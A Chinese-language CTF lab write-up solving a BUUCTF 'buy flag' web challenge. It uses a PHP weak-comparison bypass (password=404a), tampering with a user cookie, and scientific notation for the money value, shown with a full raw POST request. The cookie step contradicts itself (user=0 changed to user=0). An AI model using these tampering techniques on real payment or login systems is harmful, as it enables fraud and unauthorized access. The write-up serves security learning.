题目来源:
题目概览
进入环境,如下图所示。有三个关键信息,第一个是100000000 MONEY、必须是CUIT的学生、密码必须正确。

干瞪眼没啥用,太难了家人们,还是看看远处的源代码吧。网页源代码有这么一段注释。

提示我们需要用POST方式传递money
和password
两个值。然后用is_numeric($password)
判断变量password
的类型是否为数字。需要让password
不为数字且==
404才能获得密码正确的回显。
1 2 3 4 5 6 7 8 9 10
| ~~~post money and password~~~ if (isset($_POST['password'])) { $password = $_POST['password']; if (is_numeric($password)) { echo "password can't be number</br>"; }elseif ($password == 404) { echo "Password Right!</br>"; } }
|
POST传参
$password == 404
是弱类型比较,所以让password为404a即可绕过。用firefox的Max HackBar传参。

失败了,因为必须要是CUIT的学生才可以购买。再传一次,用burpsuite抓包看看。
改cookie
发现cookie
那一栏有个user=0
,盲猜这里就是用作判断是否为CUIT的学生。改成user=0
然后放包。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| POST /pay.php?http:%252f%252f3c7d97e7-3c78-4822-a8d9-d25d0d78f931.node4.buuoj.cn:81%252fpay.php HTTP/1.1 Host: 3c7d97e7-3c78-4822-a8d9-d25d0d78f931.node4.buuoj.cn:81 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:104.0) Gecko/20100101 Firefox/104.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Content-Length: 29 Origin: http://3c7d97e7-3c78-4822-a8d9-d25d0d78f931.node4.buuoj.cn:81 Connection: close Referer: http://3c7d97e7-3c78-4822-a8d9-d25d0d78f931.node4.buuoj.cn:81/pay.php?http:%252f%252f3c7d97e7-3c78-4822-a8d9-d25d0d78f931.node4.buuoj.cn:81%252fpay.php Cookie: user=0 Upgrade-Insecure-Requests: 1
money=100000000&password=404a
|
还是错了,为啥?数字的长度太长了,可能是money
太长了。换科学计数法传过去。

把money=100000000
改成1e9。得到flag。
